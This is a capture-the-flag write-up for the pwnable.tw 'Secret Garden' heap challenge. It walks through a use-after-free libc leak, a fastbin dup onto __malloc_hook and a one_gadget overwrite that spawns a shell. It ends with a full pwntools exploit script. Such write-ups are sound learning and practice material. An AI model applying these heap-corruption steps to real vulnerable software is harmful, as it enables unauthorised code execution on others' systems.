Pwnable.tw: Secret Garden
Secret Garden [350 pts]
Find the flag in the garden.
nc chall.pwnable.tw 10203
Initial Analysis
When initially executing the binary, we can see that we are prompted with the following menu.
☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆
☆ Secret Garden ☆
☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆
1 . Raise a flower
2 . Visit the garden
3 . Remove a flower from the garden
4 . Clean the garden
5 . Leave the garden
Your choice :
We are given a menu, as well as a few options which provide us with a fair amount of control over the process heap. Lets open this up and analyze the internals of this binary, if you are using binary ninja a bndb has been provided in the footnote at the start of the post.
On initial analysis we can see that this appears to be a simple heap note challenge. Its a simple loop which reads our input and acts accordingly. With further analysis, I’ve rebuilt the flower structure which is defined as the following.
The is_alive flag serves to indicate whether or not the flower has been removed from the garden or not. When removing flowers, the actual flower structure is not actually deallocated from memory as we will see later.
Let’s take a look at each of the options, starting with raise_flower.
We can see that the raise_flower option allows us to initialize a flower and store it within a global array of flower pointers denoted by the symbol g_garden. There is also a limit to how many flowers we can raise, in this case it allows us 100 flowers which is more than enough.
Next we have the visit garden function, this allows us to view the name and color fields of the flowers within the garden. It will traverse through the global array of flower pointers and will print the fields if and only if the is_alive flag is set.
Then the remove flower option, it prompts us to enter the index of the flower we want to remove from the garden. It will then set the is_alive flag to zero to indicate that the flower is no longer alive, and will then free the name field of the flower.
Lastly, the clean garden function will free the actual flower structures, as opposed to the remove_flower option. However, we can only clear all the flowers in the garden in bulk.
Exploitation
This binary has a few vulnerabilties which we can leverage, the first of which is a use after free in the remove_flower option. When the name field of the flower is freed, the pointer is not zeroed out. This allows us to free the chunk any arbitrary amount of times and leverage double free.
The next vulnerability is another use after free, very similar to the previous one except this time we can read from a freed chunk. This allows us to leak the metadata on the heap and leak important structures within memory.
The challenge is running with glibc version 2.23, which means that there is no tcache. This means we can easily gain an arbitrary write vulnerability by abusing the double free and the fast bin.
What follows is a high level overview of the steps which are taken to gain arbitrary code execution on the binary.
- Leak the fd/bk pointer of an unsorted bin chunk with our uaf read.
- Perform fastbin dup attack to gain arbitrary write on malloc_hook.
- Overwrite the malloc hook with a one gadget within libc.
- Trigger an error within the allocator to call malloc_printerr, which calls malloc_hook and gives us a shell.
First and foremost, we can leverage the use after free read to leak the metadata of a chunk. We can leak either the fd or bk pointers of a chunk within the unsorted bin free list and calculate the base address of libc. However, we cannot simply remove a flower and read its contents, as there is the is_alive flag which prevents us from doing so.
The following is a high level snippet of the code.
do
result = g_garden[i]
if (result != 0 && result->is_alive.d != 0)
printf("Name of the flower[%u] :%s\n", i, result->name)
result = printf("Color of the flower[%u] :%s\n", i, g_garden[i].color)
i = i + 1
while (i != 0x64)
Thanks to the level of control we have over the heap, we can groom the heap into returning a chunk from the unsorted bin. Keep in mind, the fact that, when we raise a flower, it performs two allocations. It will allocate the structure first, then the name field. This is important, as cached chunks within the unsorted bin will split to service either a smaller or perfect fit allocation request.
We can achieve this by freeing two large chunks and place them into the unsorted bin. From here we can raise a new flower. The first allocation which is of size 0x28 bytes will split the first chunk from the unsorted bin, our next allocation of the name field will return us the chunk directly from the unsorted bin.
The following is the snippet of the exploit which allows us to leak the metadata on the heap and calculate the addresses of various important structures and regions.
# leak unsorted bin pointers
# 0x410 outside of tcache bin field, im debugging on glibc 2.31
raise_flower(0x410)
raise_flower(0x60)
raise_flower(0x410)
raise_flower(0x60)
remove_flower(0)
remove_flower(2)
raise_flower(0x410, b'C'*8, b'D'*8)
arena_base = int.from_bytes(visit_garden().split(b'\n')[4][-6:], 'little')-1096
libc_base = arena_base - 0x3c3b20
malloc_hook = libc_base + 0x3c3b10
log.info("Arena base address: %#lx" % arena_base)
log.info("Libc base address: %#lx" % libc_base)
log.info("Malloc hook address: %#lx" % malloc_hook)
Next, we need to gain an arbitrary write. We can do so by performing a fastbin dup attack, which is essentially a double free which leverages the fast bin to gain an arbitrary write. This should be a fairly simple exploit, but there is an obstacle in the way which we need to overcome. We will cover this in detail at a later point in this post when the issue arises.
As this fast bin dup technique is already very widely known and documented, I won’t be covering it here. Just a general overview of the process in regards to this specific binary.
What follows is a code snippet which performs the double free and attempts to gain an arbitrary write primitive.
# fastbin dup
remove_flower(1)
remove_flower(3)
remove_flower(1)
At this point, the state of the fast bin will look like the following.
fastbins
0x70: 0x555556a63490 —▸ 0x555556a63980 ◂— 0x555556a63490
As we can see, there is a duplicate chunk within the fast bin. Due to the fact that the purpose of the fast bin is, as the name implies, fast. It will only perform minimal logic when operating on the free list and this means it will only check if the top chunk and the chunk it is inserting into the free list is equal. This only prevents consecutive double frees, but does not prevent us from simply freeing another chunk in between to bypass this check.
Our next hurdle has to do with the following line of code from glibc 2.23.
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
We can see that before it removes an entry from the fast bin to service an allocation request, it will first check whether or not the chunk falls within the size of the fast bin as to prevent memory corruption. If the index of the chunk is not the correct fast bin index, it will throw the following error and terminate the process, “malloc(): memory corruption (fast)”.
To bypass this check, we have to fake a fast bin chunk either by crafting one in memory, or using the surrounding metadata. In this case, we can utilize the metadata surrounding the address we want to write to. In this case, the allocator does not check if the address is aligned, so lets look around the region of memory before the malloc_hook we want to control to see if we have any bytes which may serve as a fake chunk size.
0x7f6ad06d7ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f6ad06d7af0 <_IO_wide_data_0+304>: 0x00007f6ad06d6260 0x0000000000000000
0x7f6ad06d7b00 <__memalign_hook>: 0x00007f6ad03b5b00 0x00007f6ad03b5aa0
0x7f6ad06d7b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
We can see that the malloc hook is surrounded by various other structures. Something we need to keep in mind is the fact that malloc will return the usable region of a chunk, meaning that we have to account for this when using various metadata to forge a fast bin chunk.
Keeping all these factors in mind, we can shift the address we want to pass as our forged chunk by any offset we like. First things first, lets choose an appropriate size for the fastbin. The offset I chose was an offset of -0x23, here is how the chunk will be percieved by the allocator.
pwndbg> x/8gx 0x7f0effa4eb10-35
0x7f0effa4eaed <_IO_wide_data_0+301>: 0x0effa4d260000000 0x000000000000007f
0x7f0effa4eafd: 0x0eff72cb00000000 0x0eff72caa000007f
0x7f0effa4eb0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f0effa4eb1d: 0x0100000000000000 0x0000000000000000
pwndbg> p *(struct malloc_chunk *)(0x7f0effa4eb10-35)
$2 = {
prev_size = 1080763659052908544,
size = 127,
fd = 0xeff72cb00000000,
bk = 0xeff72caa000007f,
fd_nextsize = 0x7f,
bk_nextsize = 0x0
}
With this, the allocator will return us the usable region of the chunk which is 0x10 bytes after the real address of the chunk. Therefore the offset we need to overwrite malloc_hook is 0x13.
Alright, now all we need is a reliable one gadget and a means to trigger the hook. What follows is the output of all the one gadgets within the libc provided to us.
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
I find that the gadget located at the offset 0xef6c4 worked for me. We can now overwrite the hook with the address of the one gadget within libc at runtime, and trigger the hook by calling the function malloc_printerr. This function is used to, as the name suggests, print an error for the glibc memory allocator. We can trigger this by any means, but i chose to perform another double free to trigger an error.
The following is the complete code for the exploit, thanks for reading.
#!/usr/bin/env python3
from pwn import *
from sys import argv
binary = ELF('secretgarden', checksec=0)
lib_path = "/glibc/2.23/64/lib"
libc = ELF('libc_64.so.6', checksec=0)
if len(argv) >= 2 and argv[1] == '-r':
p = remote('chall.pwnable.tw', 10203)
else:
p = process([lib_path+'/ld-2.23.so', './secretgarden'], \
env={'LD_PRELOAD':'libc_64.so.6'})
s = lambda x, r="" : \
p.sendafter(r, x) if r else p.send(x)
sl = lambda x, r="" : \
p.sendlineafter(r, x) if r else p.sendline(x)
def raise_flower(length, name=b'A', color=b'A'):
log.info(f"raise_flower({length}, {name}, {color})")
s(b'1', b'choice : ')
sl(str(length).encode(), b'name :')
s(name, b'flower :')
sl(color, b'the flower :')
def visit_garden():
log.info("visit_garden()")
s(b'2', b'choice : ')
return p.recvuntil(b'\xe2\x98\x86')
def remove_flower(index):
log.info(f"remove_flower({index})")
s(b'3', b'choice : ')
sl(str(index).encode(), b'garden:')
def clean_garden():
log.info("clean_garden()")
s(b'4', b'choice : ')
pause()
# leak unsorted bin pointers
# 0x410 outside of tcache bin field, im debugging on glibc 2.31
raise_flower(0x410)
raise_flower(0x60)
raise_flower(0x410)
raise_flower(0x60)
remove_flower(0)
remove_flower(2)
raise_flower(0x410, b'C'*8, b'D'*8)
arena_base = int.from_bytes(visit_garden().split(b'\n')[4][-6:], 'little')-1096
libc_base = arena_base - 0x3c3b20
malloc_hook = libc_base + 0x3c3b10
log.info("Arena base address: %#lx" % arena_base)
log.info("Libc base address: %#lx" % libc_base)
log.info("Malloc hook address: %#lx" % malloc_hook)
# fastbin dup
remove_flower(1)
remove_flower(3)
remove_flower(1)
one_gadget = 0xef6c4
raise_flower(0x90, b'freeme')
raise_flower(0x60, p64(malloc_hook-0x23))
raise_flower(0x60)
raise_flower(0x60)
raise_flower(0x60, b'A'*0x13+p64(one_gadget+libc_base))
remove_flower(5)
remove_flower(5)
p.interactive()
Thanks for reading! (≧▽≦)/